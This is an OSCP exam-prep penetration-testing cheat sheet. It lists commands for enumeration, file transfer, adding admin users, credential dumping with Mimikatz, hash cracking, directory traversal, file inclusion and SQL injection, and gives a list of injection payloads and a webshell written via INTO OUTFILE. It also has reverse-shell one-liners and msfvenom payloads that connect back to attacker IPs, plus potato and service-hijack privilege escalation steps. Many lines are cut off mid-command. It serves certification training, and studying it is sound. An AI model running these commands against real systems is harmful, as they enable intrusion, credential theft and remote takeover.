

# Cyber Public School



## OSCP Cheat Sheet

**OFFENSIVE<sup>®</sup>**  
**security**



[Link](#)



**OFFENSIVE<sup>®</sup>**  
**security**



CYBER PUBLIC SCHOOL

# OSCP Cheat Sheet



# Table of Content

- General
- Important Locations
- File Transfers
- Windows to Kali
- Adding Users
- Windows
- Linux
- Password-Hash Cracking
- fcrackzip
- John
- Hashcat
- Mimikatz
- Ligolo-ng
- Recon and Enumeration
- Port Scanning
- FTP enumeration
- SSH enumeration
- SMB enumeration
- HTTP/S enumeration
- Wordpress
- Drupal
- Joomla
- DNS enumeration
- SMTP enumeration
- LDAP Enumeration
- NFS Enumeration



- **SNMP Enumeration**
- **RPC Enumeration**
- **Web Attacks**
- **Directory Traversal**
- **Local File Inclusion**
- **SQL Injection**
- **Exploitation**
- **Reverse Shells**
- **Msfvenom**
- **One Liners**
- **Groovy reverse-shell**
- **Windows Privilege Escalation**
- **Basic**
- **Automated Scripts**
- **Token Impersonation**
- **Services**
- **Binary Hijacking**
- **Unquoted Service Path**
- **Insecure Service Executables**
- **Weak Registry permissions**
- **DLL Hijacking**
- **Autorun**
- **AlwaysInstallElevated**
- **Schedules Tasks**
- **Startup Apps**
- **Insecure GUI apps**
- **Passwords**
- **Sensitive files**



- **Config files**
- **Registry**
- **RunAs - Savedcreds**
- **Pass the Hash**
- **Linux Privilege Escalation**
- **TTY Shell**
- **Basic**
- **Automated Scripts**
- **Sensitive Information**
- **Sudo/SUID/Capabilities**
- **Cron Jobs**
- **NFS**
- **Post Exploitation**
- **Sensitive Information**
- **Powershell History**
- **Searching for passwords**
- **Searching in Registry for Passwords**
- **KDBX Files**
- **Dumping Hashes**
- **Active Directory Pentesting**
- **Enumeration**
- **Powerview**
- **Bloodhound**
- **PsLoggedon**
- **Attacking Active Directory Authentication**
- **Password Spraying**
- **AS-REP Roasting**



- Kerberoasting
- Silver Tickets
- Secretsdump
- Lateral Movement in Active Directory
- psexec - smbexec - wmiexec - atexec
- winrs
- crackmapexec
- Pass the ticket
- Golden Ticket

CYBER PUBLIC SCHOOL



# General

## Important Locations

### ❖ Windows

C:/Users/Administrator/NTUser.dat  
C:/Documents and Settings/Administrator/NTUser.dat  
C:/apache/logs/access.log  
C:/apache/logs/error.log  
C:/apache/php/php.ini  
C:/boot.ini  
C:/inetpub/wwwroot/global.asa  
C:/MySQL/data/hostname.err  
C:/MySQL/data/mysql.err  
C:/MySQL/data/mysql.log  
C:/MySQL/my.cnf  
C:/MySQL/my.ini  
C:/php4/php.ini  
C:/php5/php.ini  
C:/php/php.ini  
C:/Program Files/Apache Group/Apache2/conf/httpd.conf  
C:/Program Files/Apache Group/Apache/conf/httpd.conf  
C:/Program Files/Apache Group/Apache/logs/access.log  
C:/Program Files/Apache Group/Apache/logs/error.log  
C:/Program Files/FileZilla Server/FileZilla Server.xml  
C:/Program Files/MySQL/data/hostname.err



C:/Program Files/MySQL/data/mysql-bin.log  
C:/Program Files/MySQL/data/mysql.err  
C:/Program Files/MySQL/data/mysql.log  
C:/Program Files/MySQL/my.ini  
C:/Program Files/MySQL/my.cnf  
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err  
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log  
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err  
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log  
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf  
C:/Program Files/MySQL/MySQL Server 5.0/my.ini  
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf  
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf  
C:/Program Files (x86)/Apache Group/Apache/conf/access.log  
C:/Program Files (x86)/Apache Group/Apache/conf/error.log  
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml  
C:/Program Files (x86)/xampp/apache/conf/httpd.conf  
C:/WINDOWS/php.ini  
C:/WINDOWS/Repair/SAM  
C:/Windows/repair/system  
C:/Windows/repair/software  
C:/Windows/repair/security  
C:/WINDOWS/System32/drivers/etc/hosts  
C:/Windows/win.ini  
C:/WINNT/php.ini  
C:/WINNT/win.ini  
C:/xampp/apache/bin/php.ini





C:/xampp/apache/logs/access.log  
C:/xampp/apache/logs/error.log  
C:/Windows/Panther/Unattend/Unattended.xml  
C:/Windows/Panther/Unattended.xml  
C:/Windows/debug/NetSetup.log  
C:/Windows/system32/config/AppEvent.Evt  
C:/Windows/system32/config/SecEvent.Evt  
C:/Windows/system32/config/default.sav  
C:/Windows/system32/config/security.sav  
C:/Windows/system32/config/software.sav  
C:/Windows/system32/config/system.sav  
C:/Windows/system32/config/regback/default  
C:/Windows/system32/config/regback/sam  
C:/Windows/system32/config/regback/security  
C:/Windows/system32/config/regback/system  
C:/Windows/system32/config/regback/software  
C:/Program Files/MySQL/MySQL Server 5.1/my.ini  
C:/Windows/System32/inetsrv/config/schema/ASPNET\_schema.xml  
C:/Windows/System32/inetsrv/config/applicationHost.config  
C:/inetpub/logs/LogFiles/W3SVC1/u\_ex[YYMMDD].log



## ❖ Linux

/etc/passwd  
/etc/shadow  
/etc/aliases  
/etc/anacrontab  
/etc/apache2/apache2.conf  
/etc/apache2/httpd.conf  
/etc/apache2/sites-enabled/000-default.conf  
/etc/at.allow  
/etc/at.deny  
/etc/bashrc  
/etc/bootptab  
/etc/chrootUsers  
/etc/chttp.conf  
/etc/cron.allow  
/etc/cron.deny  
/etc/crontab  
/etc/cups/cupsd.conf  
/etc/exports  
/etc/fstab  
/etc/ftpaccess  
/etc/ftphosts  
/etc/groups  
/etc/grub.conf  
/etc/hosts  
/etc/hosts.allow



/etc/hosts.deny  
/etc/httpd/access.conf  
/etc/httpd/conf/httpd.conf  
/etc/httpd/httpd.conf  
/etc/httpd/logs/access\_log  
/etc/httpd/logs/access.log  
/etc/httpd/logs/error\_log  
/etc/httpd/logs/error.log  
/etc/httpd/php.ini  
/etc/httpd/srm.conf  
/etc/inetd.conf  
/etc/inittab  
/etc/issue  
/etc/knockd.conf  
/etc/lighttpd.conf  
/etc/lilo.conf  
/etc/logrotate.d/ftp  
/etc/logrotate.d/proftpd  
/etc/logrotate.d/vsftpd.log  
/etc/lsb-release  
/etc/motd  
/etc/modules.conf  
/etc/motd  
/etc/mtab  
/etc/my.cnf  
/etc/my.conf  
/etc/mysql/my.cnf  
/etc/network/interfaces



/etc/networks  
/etc/passwd  
/etc/passwd  
/etc/php4.4/cgi/php.ini  
/etc/php4/apache2/php.ini  
/etc/php4/apache/php.ini  
/etc/php4/cgi/php.ini  
/etc/php4/apache2/php.ini  
/etc/php5/apache2/php.ini  
/etc/php5/apache/php.ini  
/etc/php/apache2/php.ini  
/etc/php/apache/php.ini  
/etc/php/cgi/php.ini  
/etc/php.ini  
/etc/php/php4/php.ini  
/etc/php/php.ini  
/etc/printcap  
/etc/profile  
/etc/proftpd.conf  
/etc/proftpd/proftpd.conf  
/etc/pure-ftpd.conf  
/etc/pureftpd.passwd  
/etc/pureftpd.pdb  
/etc/pure-ftpd/pure-ftpd.conf  
/etc/pure-ftpd/pure-ftpd.pdb  
/etc/pure-ftpd/putreftpd.pdb  
/etc/redhat-release  
/etc/resolv.conf



/etc/samba/smb.conf  
/etc/snmpd.conf  
/etc/ssh/ssh\_config  
/etc/ssh/sshd\_config  
/etc/ssh/ssh\_host\_dsa\_key  
/etc/ssh/ssh\_host\_dsa\_key.pub  
/etc/ssh/ssh\_host\_key  
/etc/ssh/ssh\_host\_key.pub  
/etc/sysconfig/network  
/etc/syslog.conf  
/etc/termcap  
/etc/vhcs2/proftpd/proftpd.conf  
/etc/vsftpd.chroot\_list  
/etc/vsftpd.conf  
/etc/vsftpd/vsftpd.conf  
/etc/wu-ftp/ftppass  
/etc/wu-ftp/ftpusers  
/etc/wu-ftp/ftphosts  
/etc/wu-ftp/ftpusers  
/logs/pure-ftpd.log  
/logs/security\_debug\_log  
/logs/security\_log  
/opt/lampp/etc/httpd.conf  
/opt/xampp/etc/php.ini  
/proc/cmdline  
/proc/cpuinfo  
/proc/filesystems  
/proc/interrupts



/proc/ioports  
/proc/meminfo  
/proc/modules  
/proc/mounts  
/proc/net/arp  
/proc/net/tcp  
/proc/net/udp  
/proc/<PID>/cmdline  
/proc/<PID>/maps  
/proc/sched\_debug  
/proc/self/cwd/app.py  
/proc/self/environ  
/proc/self/net/arp  
/proc/stat  
/proc/swaps  
/proc/version  
/root/anaconda-ks.cfg  
/usr/etc/pure-ftpd.conf  
/usr/lib/php.ini  
/usr/lib/php/php.ini  
/usr/local/apache/conf/modsec.conf  
/usr/local/apache/conf/php.ini  
/usr/local/apache/log  
/usr/local/apache/logs  
/usr/local/apache/logs/access\_log  
/usr/local/apache/logs/access.log  
/usr/local/apache/audit\_log  
/usr/local/apache/error\_log



/usr/local/apache/error.log  
/usr/local/cpanel/logs  
/usr/local/cpanel/logs/access\_log  
/usr/local/cpanel/logs/error\_log  
/usr/local/cpanel/logs/license\_log  
/usr/local/cpanel/logs/login\_log  
/usr/local/cpanel/logs/stats\_log  
/usr/local/etc/httpd/logs/access\_log  
/usr/local/etc/httpd/logs/error\_log  
/usr/local/etc/php.ini  
/usr/local/etc/pure-ftpd.conf  
/usr/local/etc/pureftpd.pdb  
/usr/local/lib/php.ini  
/usr/local/php4/httpd.conf  
/usr/local/php4/httpd.conf.php  
/usr/local/php4/lib/php.ini  
/usr/local/php5/httpd.conf  
/usr/local/php5/httpd.conf.php  
/usr/local/php5/lib/php.ini  
/usr/local/php/httpd.conf  
/usr/local/php/httpd.conf.ini  
/usr/local/php/lib/php.ini  
/usr/local/pureftpd/etc/pure-ftpd.conf  
/usr/local/pureftpd/etc/pureftpd.pdn  
/usr/local/pureftpd/sbin/pure-config.pl  
/usr/local/www/logs/httpd\_log  
/usr/local/Zend/etc/php.ini



/usr/sbin/pure-config.pl  
/var/adm/log/xferlog  
/var/apache2/config.inc  
/var/apache/logs/access\_log  
/var/apache/logs/error\_log  
/var/cpanel/cpanel.config  
/var/lib/mysql/my.cnf  
/var/lib/mysql/mysql/user.MYD  
/var/local/www/conf/php.ini  
/var/log/apache2/access\_log  
/var/log/apache2/access.log  
/var/log/apache2/error\_log  
/var/log/apache2/error.log  
/var/log/apache/access\_log  
/var/log/apache/access.log  
/var/log/apache/error\_log  
/var/log/apache/error.log  
/var/log/apache-ssl/access.log  
/var/log/apache-ssl/error.log  
/var/log/auth.log  
/var/log/boot  
/var/htmp  
/var/log/chttp.log  
/var/log/cups/error.log  
/var/log/daemon.log  
/var/log/debug  
/var/log/dmesg





/var/log/dpkg.log  
/var/log/exim\_mainlog  
/var/log/exim/mainlog  
/var/log/exim\_paniclog  
/var/log/exim.paniclog  
/var/log/exim\_rejectlog  
/var/log/exim/rejectlog  
/var/log/faillog  
/var/log/ftplog  
/var/log/ftp-proxy  
/var/log/ftp-proxy/ftp-proxy.log  
/var/log/httpd-access.log  
/var/log/httpd/access\_log  
/var/log/httpd/access.log  
/var/log/httpd/error\_log  
/var/log/httpd/error.log  
/var/log/httpsd/ssl.access\_log  
/var/log/httpsd/ssl\_log  
/var/log/kern.log  
/var/log/lastlog  
/var/log/lighttpd/access.log  
/var/log/lighttpd/error.log  
/var/log/lighttpd/lighttpd.access.log  
/var/log/lighttpd/lighttpd.error.log  
/var/log/mail.info  
/var/log/mail.log  
/var/log/maillog



/var/log/mail.warn  
/var/log/message  
/var/log/messages  
/var/log/mysqlderror.log  
/var/log/mysql.log  
/var/log/mysql/mysql-bin.log  
/var/log/mysql/mysql.log  
/var/log/mysql/mysql-slow.log  
/var/log/proftpd  
/var/log/pureftpd.log  
/var/log/pure-ftpd/pure-ftpd.log  
/var/log/secure  
/var/log/vsftpd.log  
/var/log/wtmp  
/var/log/xferlog  
/var/log/yum.log  
/var/mysql.log  
/var/run/utmp  
/var/spool/cron/crontabs/root  
/var/webmin/miniserv.log  
/var/www/html<VHOST>/\_\_init\_\_.py  
/var/www/html/db\_connect.php  
/var/www/html/utils.php  
/var/www/log/access\_log  
/var/www/log/error\_log  
/var/www/logs/access\_log  
/var/www/logs/error\_log



/var/www/logs/access.log  
/var/www/logs/error.log  
~/.atfp\_history  
~/.bash\_history  
~/.bash\_logout  
~/.bash\_profile  
~/.bashrc  
~/.gtkrc  
~/.login  
~/.logout  
~/.mysql\_history  
~/.nano\_history  
~/.php\_history  
~/.profile  
~/.ssh/authorized\_keys  
#id\_rsa, id\_ecdsa, id\_ecdsa\_sk, id\_ed25519, id\_ed25519\_sk,  
and id\_dsa  
~/.ssh/id\_dsa  
~/.ssh/id\_dsa.pub  
~/.ssh/id\_rsa  
~/.ssh/id\_edcsa  
~/.ssh/id\_rsa.pub  
~/.ssh/identity  
~/.ssh/identity.pub  
~/.viminfo  
~/.wm\_style  
~/.Xdefaults



```
~/ .xinitrc  
~/ .Xresources  
~/ .xsession
```

## File Transfers

### Downloading on Windows

```
powershell -command Invoke-WebRequest -Uri  
http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\tem  
iwr -uri http://lhost/file -Outfile file  
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>  
copy \\kali\\share\\file .
```

### Downloading on Linux

```
wget http://lhost/file  
curl http://<LHOST>/<FILE> > <OUTPUT_FILE>
```

## Windows to Kali

```
kali> impacket-smbserver -smb2support <sharename> .  
win> copy file \\KaliIP\\sharename
```



## Adding Users

### Windows

```
net user hacker hacker123 /add
net localgroup Administrators hacker /add
net localgroup "Remote Desktop Users" hacker /ADD
```

### Linux

```
adduser <uname> #Interactive
useradd <uname>
```

```
useradd -u <UID> -g <group> <uname> #UID can be
something new than existing, this comman
```

## Password-Hash Cracking

### Fcrackzip

```
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt <FILE>.zip
#Cracking zip files
```

### john

```
ssh2john.py id_rsa > hash
#Convert the obtained hash to John format john hashfile --
wordlist=rockyou.txt
```



## Hashcat

#Obtain the Hash module number

```
hashcat -m <number> hash wordlists.txt --force
```

## Mimikatz

```
privilege::debug
```

```
sekurlsa::logonpasswords #hashes and plaintext passwords
```

```
lsadump::sam
```

```
lsadump::lsa /patch #both these dump SAM
```

```
#OneLiner
```

```
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"  
"exit"
```

## Ligolo-ng

```
#Creating interface and starting it.
```

```
sudo ip tuntap add user $(whoami) mode tun ligolo
```

```
sudo ip link set ligolo up
```

```
#Kali machine - Attacker machine
```

```
./proxy -laddr <LHOST>:9001 -selfcert
```

```
#windows or linux machine - compromised machine
```

```
./agent -connect <LHOST>:9001 -ignore-cert
```

```
#In Ligolo-ng console
```

```
session #select host
```

```
ifconfig #Notedown the internal network's subnet
```



start #after adding relevent subnet to ligolo interface  
#Adding subnet to ligolo interface - Kali linux  
sudo ip r add <subnet> dev ligolo

## Recon and Enumeration

### OSINT OR Passive Recon

OSINT OR Passive Recon

💡 Not that useful for OSCP as we'll be dealing with internal machines

- whois: whois <domain> or whois <domain> -h <IP>
- Google dorking,
  - site
  - filetype
  - intitle
  - GHDB - Google hacking database
- OS and Service Information using
- Github dorking
  - filename
  - user
  - A tool called Gitleaks for automated enumeration
- Shodan dorks
  - hostname
  - port
  - Then gather infor by going through the options
- Scanning Security headers and SSL/TLS using



## Port Scanning

#use -Pn option if you're getting nothing in scan

nmap -sC -sV <IP> -v #Basic scan

nmap -T4 -A -p- <IP> -v #complete scan

sudo nmap -sV -p 443 --script "vuln" 192.168.50.124 #running vuln category scripts

#NSE

updatedb

locate .nse | grep <name>

sudo nmap --script="name" <IP> #here we can specify other options like specific ports...e

Test-NetConnection -Port <port> <IP> #powershell utility

1..1024 | % {echo

((New-Object Net.Sockets.TcpClient).Connect("IP", \$\_)) "TCP  
port \$\_ is

## FTP enumeration

ftp <IP>

#login if you have relevant creds or based on nmap scan find out whether this has anonymo

put <file> #uploading file

get <file> #downloading file

#NSE





```
locate .nse | grep ftp  
nmap -p21 --script=<name> <IP>
```

#bruteforce

```
hydra -L users.txt -P passwords.txt <IP> ftp #'-L' for usernames  
list, '-l' for username
```

#check for vulnerabilities associated with the version identified.

## SSH enumeration

#Login

```
ssh uname@IP #enter password in the prompt
```

#id\_rsa or id\_ecdsa file

```
chmod 600 id_rsa/id_ecdsa
```

```
ssh uname@IP -i id_rsa/id_ecdsa #if it still asks for password,  
crack them using John
```

#cracking id\_rsa or id\_ecdsa

```
ssh2john id_ecdsa(or)id_rsa > hash
```

```
john --wordlist=/home/sathvik/Wordlists/rockyou.txt hash
```

#bruteforce

```
hydra -l uname -P passwords.txt <IP> ssh #'-L' for usernames  
list, '-l' for username and
```

#check for vulnerabilities associated with the version identified.



## SMB enumeration

`sudo nbtscan -r 192.168.50.0/24` #IP or range can be provided

#NSE scripts can be used

`locate .nse | grep smb`

`nmap -p445 --script="name" $IP`

#In windows we can view like this

`net view \\<computername/IP> /all`

### #crackmapexec

`crackmapexec smb <IP/range>`

`crackmapexec smb 192.168.1.100 -u username -p password`

`crackmapexec smb 192.168.1.100 -u username -p password --shares` #lists available shares

`crackmapexec smb 192.168.1.100 -u username -p password --users` #lists users

`crackmapexec smb 192.168.1.100 -u username -p password --all` #all information

`crackmapexec smb 192.168.1.100 -u username -p password -p 445 --shares` #specific port

`crackmapexec smb 192.168.1.100 -u username -p password -d mydomain --shares` #specific dom

#Inplace of username and password, we can include usernames.txt and passwords.txt for pas

### # Smbclient

`smbclient -L //IP` #or try with 4 /'s

`smbclient //server/share`

`smbclient //server/share -U <username>`

`mbclient //server/share -U domain/username`



## # Smbclient

smbclient -L //IP #or try with 4 /'s

smbclient //server/share

smbclient //server/share -U <username>

mbclient //server/share -U domain/username

## #SMBmap

smbmap -H <target\_ip>

smbmap -H <target\_ip> -u <username> -p <password>

smbmap -H <target\_ip> -u <username> -p <password> -d <domain>

smbmap -H <target\_ip> -u <username> -p <password> -r  
<share\_name>

## #Within SMB session

put <file> #to upload file

get <file> #to download file

- Downloading shares made easy - if the folder consists of several files, they all be downloading by this.

mask ""

recurse ON

prompt OFF

mget \*



## HTTP/S enumeration

- View source-code and identify any hidden content. If some image looks suspicious download and
- try to find hidden data in it.
- Identify the version or CMS and check for active exploits. This can be done using Nmap and
- Wappalyzer.
- check /robots.txt folder
- Look for the hostname and add the relevant one to /etc/hosts file.
- Directory and file discovery - Obtain any hidden files which may contain juicy information

dirbuster

gobuster dir -u http://example.com -w /path/to/wordlist.txt

Python3 dirsearch.py -u http://example.com -w  
/path/to/wordlist.txt

- Vulnerability Scanning using nikto: nikto -h <url>
- SSL certificate inspection, this may reveal information like subdomains, usernames...etc
- Default credentials, Identify the CMS or service and check for default credentials and test them out.
- Bruteforce

hydra -L users.txt -P password.txt <IP or domain> http-  
{post/get}-form "/path:name=^USER^

# Use https-post-form mode for https, post or get can be obtained from Burpsuite. Also do



#Bruteforce can also be done by Burpsuite but it's slow, prefer Hydra!

- if cgi-bin is present then do further fuzzing and obtain files like .sh or .pl
- Check if other services like FTP/SMB or anyothers which has upload privileges are getting reflected on web.
- API - Fuzz further and it can reveal some sensitive information

#identifying endpoints using gobuster

```
gobuster dir -u http://192.168.50.16:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern
```

#obtaining info using curl

```
curl -i http://192.168.50.16:5002/users/v1
```

- If there is any Input field check for **Remote Code execution or SQL Injection**
- Check the URL, whether we can leverage Local or **Remote File Inclusion**.
- Also check if there's any file upload utility(also obtain the location it's getting reflected)



## Wordpress

# basic usage

```
wpscan --url "target" --verbose
```

# enumerate vulnerable plugins, users, vulnerable themes, timthumbs  
wpscan --url "target" --enumerate vp,u,vt,tt --follow-redirection --verbose --log target.

# Add Wpscan API to get the details of vulnerabilities.

## Drupal

```
droopescan scan drupal -u http://site
```

## Joomla

```
droopescan scan joomla --url http://site
```

```
sudo python3 joomla-brute.py -u http://site/ -w passwords.txt  
-usr username #https://gith
```



## DNS enumeration

```
host www.megacorpone.com
```

```
host -t mx megacorpone.com
```

```
host -t txt megacorpone.com
```

```
for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found" #bash brute
```

```
dnsrecon -d megacorpone.com -t std #standard recon
```

```
dnsrecon -d megacorpone.com -D ~/list.txt -t brt #bruteforce, hence we provided list
```

```
dnsenum megacorpone.com
```

```
nslookup mail.megacorptwo.com
```

```
nslookup -type=TXT info.megacorptwo.com 192.168.50.151  
#we're querying with a specific IP
```

CYBER PUBLIC SCHOOL

## SMTP enumeration

```
nc -nv <IP> 25 #Version Detection
```

```
smtp-user-enum -M VRFY -U username.txt -t <IP> # -M means mode, it can be RCPT, VRFY, EXP
```

#Sending email with valid credentials, the below is an example for Phishing mail attack

```
sudo swaks -t user1@test.com -t user2@test.com --from user3@test.com --server <mailserver>
```



## LDAP Enumeration

```
ldapsearch -x -H ldap://<IP> -D "" -w "" -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>
#CN name describes the info w're collecting
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admin
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise A
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrato
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Deskt
```

#windapsearch.py

#for computers

```
python3 windapsearch.py --dc-ip <IP address> -u <username>
-p <password> --computers
```

#for groups

```
python3 windapsearch.py --dc-ip <IP address> -u <username>
-p <password> --groups
```

#for users

```
python3 windapsearch.py --dc-ip <IP address> -u <username>
-p <password> --da
```

#for privileged users

```
python3 windapsearch.py --dc-ip <IP address> -u <username>
-p <password> --privileged-use
```





## NFS Enumeration

```
nmap -sV --script=nfs-showmount <IP>  
showmount -e <IP>
```

## SNMP Enumeration

```
snmpcheck -t <IP> -c public  
snmpwalk -c public -v1 -t 10 <IP>  
snmpenum -t <IP>
```

## RPC Enumeration

```
rpcclient -U=user $DCIP  
rpcclient -U="" $DCIP #Anonymous login  
##Commands within in RPCclient  
srvinfo  
enumdomusers #users  
enumpriv #like "whoami /priv"  
queryuser <user> #detailed user info  
getuserdompwininfo <RID> #password policy, get user-RID from  
previous command  
lookupnames <user> #SID of specified user  
createdomuser <username> #Creating a user  
deletedomuser <username>  
enumdomains  
enumdomgroups  
querygroup <group-RID> #get rid from previous command  
querydispinfo #description of all users
```



netshareenum #Share enumeration, this only comes up if the current user we're logged in has netshareenumall  
lsenumsid #SID of all users

## Web Attacks

💡 Cross-platform PHP reverse shell:  
shell/blob/master/src/reverse/php\_reverse\_shell.php

## Directory Traversal

cat /etc/passwd #displaying content through absolute path  
cat ../../etc/passwd #relative path

# if the pwd is /var/log/ then in order to view the /etc/passwd it will be like this  
cat ../../etc/passwd

#In web int should be exploited like this, find a parameters and test it out

http://mountaindesserts.com/meteor/index.php?page=../../  
../../etc/passwd

#check for id\_rsa, id\_ecdsa

#If the output is not getting formatted properly then,  
curl

http://mountaindesserts.com/meteor/index.php?page=../../  
../../etc/pas

#For windows

http://192.168.221.193:3000/public/plugins/alertlist/../../  
../../Users/instal



- URL Encoding

#Sometimes it doesn't show if we try path, then we need to encode them  
`http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd`

- Wordpress

- Simple exploit <https://github.com/leonjza/wordpress-shell>

## Local File Inclusion

Main difference between Directory traversal and this attack is, here we're able to execute commands remotely

#At first we need

`http://192.168.45.125/index.php?page=../../../../../../../../var/log/apache2/access.log`

#Reverse shells

`bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"`

#We can simply pass a reverse shell to the cmd parameter and obtain reverse-shell

`bash%20-c%20%22bash%20`

`i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22 #en`



#PHP wrapper

curl

```
"http://mountaindesserts.com/meteor/index.php?page=data:
//text/plain,<?php%20echo%20
```

curl

```
http://mountaindesserts.com/meteor/index.php?page=php:/
/filter/convert.base64-encode
```

- Remote file inclusion

1. Obtain a php shell

2. host a file server

3. `http://mountaindesserts.com/meteor/index.php?page=http://attacker-ip/simple-backdoor.php&`

we can also host a php reverseshell and obtain shell.

## SQL Injection

`admin' or '1'='1`

`' or '1'='1`

`" or "1"="1`

`" or "1"="1"--`

`" or "1"="1"/*`

`" or "1"="1"#`

`" or 1=1`

`" or 1=1 --`

`" or 1=1 -`

`" or 1=1--`

`" or 1=1/*`



```
" or 1=1#  
" or 1=1-  
) or "1"="1  
) or "1"="1"--  
) or "1"="1"/*  
) or "1"="1"#  
) or ("1"="1  
) or ("1"="1"--  
) or ("1"="1"/*  
) or ("1"="1"#  
) or '1`='1-
```

- Blind SQL Injection - This can be identified by Time-based SQLI

#Application takes some time to reload, here it is 3 seconds  
`http://192.168.50.16/blindsql.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //`

- Manual Code Execution

```
kali>impacket-mssqlclient  
Administrator:Lab123@192.168.50.18 -windows-auth #To  
login  
EXECUTE sp_configure 'show advanced options', 1;  
RECONFIGURE;  
EXECUTE sp_configure 'xp_cmdshell', 1;  
RECONFIGURE;  
#Now we can run commands  
EXECUTE xp_cmdshell 'whoami';
```



#Sometimes we may not have direct access to convert it to RCE from web, then follow below

```
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var
```

#Now we can exploit it

```
http://192.168.45.285/tmp/webshell.php?cmd=id #Command execution
```

- SQLMap - Automated Code execution

```
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user
```

#Testing on parameter names "

```
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user -dump #Dumping database
```

#OS Shell

# Obtain the Post request from Burp suite and save it to post.txt

```
sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp" #/var/www/html/tmp
```



# Exploitation

## Reverse Shells

### Msfvenom

```
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php
```

### One Liners

```
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
python-c'import
socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.conn
<?php echo shell_exec('bash -i >& /dev/tcp/10.11.0.106/443 0>&1');?>
#For powershell use the encrypted tool that's in Tools folder
```

💡 While dealing with PHP reverseshell use:  
[[https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php\\_reverse\\_shell.php](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php)]([https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php\\_reverse\\_shell.php](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php))



## Groovy reverse-shell

- For Jenkins

```
String host="localhost";  
int port=8044;  
String cmd="cmd.exe";  
Process p=new  
ProcessBuilder(cmd).redirectErrorStream(true).start();Socket  
s=new Socket(h
```

## Windows Privilege Escalation

### Basic

#Starting, Restarting and Stopping services in Powershell

Start-Service <service>

Stop-Service <service>

Restart-Service <service>

#Powershell History

TypeC:\Users\sathvik\AppData\Roaming\Microsoft\Windows\  
PowerShell\PSReadline\ConsoleHost





## Automated Scripts

winpeas.exe

winpeas.bat

Jaws-enum.ps1

powerup.ps1

PrivescCheck.ps1

## Token Impersonation

- Command to check whoami /priv

#Printspoofer

PrintSpoofer.exe -i -c powershell.exe

PrintSpoofer.exe -c "nc.exe <lhost> <lport> -e cmd"

#RoguePotato

RoguePotato.exe -r <AttackerIP> -e "shell.exe" -l 9999

#GodPotato

GodPotato.exe -cmd "cmd /c whoami"

GodPotato.exe -cmd "shell.exe"

#JuicyPotatoNG

JuicyPotatoNG.exe -t \* -p "shell.exe" -a

#SharpEfsPotato

SharpEfsPotato.exe

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.

exe -a "whoam

#writes whoami command to w.log file



## Services

### Binary Hijacking

```
#Identify service from winpeas
icalcs "path" #F means full permission, we need to check we
have full access on folder
sc qc <servicename> #find binarypath variable
sc config <service> <option>="<value>" #change the path to
the reverseshell location
sc start <servicename>
```

### Unquoted Service Path

```
wmic service get name,pathname | findstr /i /v
"C:\Windows\\" | findstr /i /v """" #Displ
#Check the Writable path
icalcs "path"
#Insert the payload in writable location and which works.
sc start <servicename>
```

### Insecure Service Executables

```
#In Winpeas look for a service which has the following
File Permissions: Everyone [AllAccess]
#Replace the executable in the service folder and start the
service sc start <service>
```



## Weak Registry permissions

#Look for the following in Winpeas services info output

HKLM\system\currentcontrolset\services\<service>

(Interactive [FullControl]) #This means

accesschk /acceptula -uvwqk <path of registry> #Check for  
KEY\_ALL\_ACCESS

#Service Information from regedit, identify the variable which  
holds the executable

reg query <reg-path>

